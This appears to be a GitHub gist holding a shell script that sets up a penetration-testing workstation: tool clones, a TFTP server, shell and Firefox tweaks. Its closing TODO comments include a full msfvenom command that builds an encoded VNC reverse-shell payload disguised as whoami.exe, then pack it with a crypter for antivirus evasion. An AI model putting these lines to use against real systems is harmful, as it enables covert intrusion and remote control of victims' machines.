Last active
September 10, 2020 01:42
-
-
Save BlaiseOfGlory/c7fa5e8a8b47cb21d41904d2950d4384 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
#Add associative array here for git repos to pull/update | |
main() { | |
searchsploit -u > log-searchsploit & | |
#aliases | |
alias ipgrep='grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"' | |
alias ll='ls -lah' | |
alias ccc="xclip -sel clip" | |
##Download TMUX config and pluggins | |
wget https://gist.githubusercontent.com/podjackel/68511a756cbb70bd54ffee2761faef1f/raw/.tmux.conf -O /root/.tmux.conf | |
git clone https://github.com/tmux-plugins/tmux-logging /opt/tmux-logging | |
#github pulls & linking | |
git clone https://github.com/absolomb/WindowsEnum.git /usr/share/windowsenum | |
git clone https://github.com/nettitude/Prowl.git /usr/share/Prowl | |
git clone https://github.com/joda32/CertCrunchy.git /usr/share/CertCrunchy | |
ln -s /usr/share/CertCrunchy/certcrunchy.py /usr/bin/certcrunchy | |
pip install -r /usr/share/Prowl/requirements.txt | |
https://github.com/joda32/CertCrunchy.git | |
##Disable auto attacks in SPARTA | |
sed -i s/'enable-scheduler=True'/'enable-scheduler=False'/g /etc/sparta.conf | |
##setup atftpd: run with `atftpd --daemon --port 69 /tftp` | |
mkdir /tftp/ | |
chmod -R 777 /tftp/ | |
chown -R nobody /tftp/ | |
echo '#!/bin/bash' > /root/Desktop/startTFTP.sh | |
echo 'atftpd --daemon --port 69 /tftp' >> /root/Desktop/startTFTP.sh | |
##update various config files | |
echo '[ -z "$TMUX" ] && { tmux attach || tmux new-session;}' >> .bashrc | |
alias grep-ip='grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"' | |
echo "set number" >> /etc/vim/vimrc | |
history='# avoid duplicates..\nexport HISTCONTROL=ignoredups:erasedups\n\n# append history entries..\nshopt -s histappend\n\n# After each command, save and reload history\nexport PROMPT_COMMAND="history -a; history -c; history -r; $PROMPT_COMMAND"' | |
sed -i "s/^HISTCONTROL.*/`echo $history`/g" .bashrc | |
sed -i "s/^HISTSIZE.*/HISTSIZE\=1000000/g" .bashrc | |
sed -i "s/^HISTFILESIZE.*/HISTFILESIZE\=2000000/g" .bashrc | |
##update mozilla config | |
for file in `ls -d .mozilla/firefox/*.default/prefs.js`; | |
do | |
echo 'user_pref("app.shield.optoutstudies.enabled", false);' >> $file/prefs.js; | |
echo 'user_pref("browser.library.activity-stream.enabled", false);' >> $file/prefs.js; | |
echo 'user_pref("extensions.pocket.enabled", false);' >> $file/prefs.js; | |
echo 'user_pref("network.captive-portal-service.enabled", false);' >> $file/prefs.js; | |
done | |
##update /etc/hosts | |
echo '127.0.0.1 shavar.services.mozilla.com' >> /etc/hosts #disable firefox telemetry | |
} | |
updateFromGit() { | |
#Does the .git file exist? | |
if [ -f $2/.git ] | |
then | |
cd $2 | |
git pull origin master | |
else | |
#Check if directory exists and is empty | |
if [ -d $2 ] | |
then | |
if [ -z "$(ls -A /path/to/dir)" ] | |
then | |
rmdir $2 | |
git clone $1 $2 | |
#check for error code | |
if [[ $? != 0 ]] | |
then | |
echo "Error pulling Github Repo" | |
fi | |
else | |
echo "Error, non-empty target diretory: $2" | |
fi | |
fi | |
fi | |
} | |
main "$@" | |
###TODO | |
#remove terminal transparency | |
#set alt+tab to switch windows | |
#add procdump to windows-binaries: https://download.sysinternals.com/files/Procdump.zip | |
#add psexec to windows-binaries: https://download.sysinternals.com/files/PSTools.zip | |
#add 3proxy to windows binaries https://github.com/z3APA3A/3proxy/releases/download/0.8.12/3proxy-0.8.12-lite.zip | |
#add rpivot https://github.com/klsecservices/rpivot | |
## symlinks to /usr/bin | |
## windows client to windows-binaries | |
#add 32bit wine and crosscompiler | |
#add https://github.com/andrew-d/static-binaries | |
#add https://gist.github.com/arulrajnet/af376482bbe95346824e419b7c9cbdd0 | |
#add section for /tftp/ | |
##Payload generator script for quick msfvenom outputs for current listener | |
###win32,win64,linux32,linux64,php,asp,powershell | |
#### ie. msfvenom -p windows/vncinject/reverse_tcp LHOST=192.168.4.1 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/whoami.exe -o vncshell.exe | |
#### wine /usr/share/windows-binaries/hyperion/hyperion.exe vncshell.exe vnchardshell.exe |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment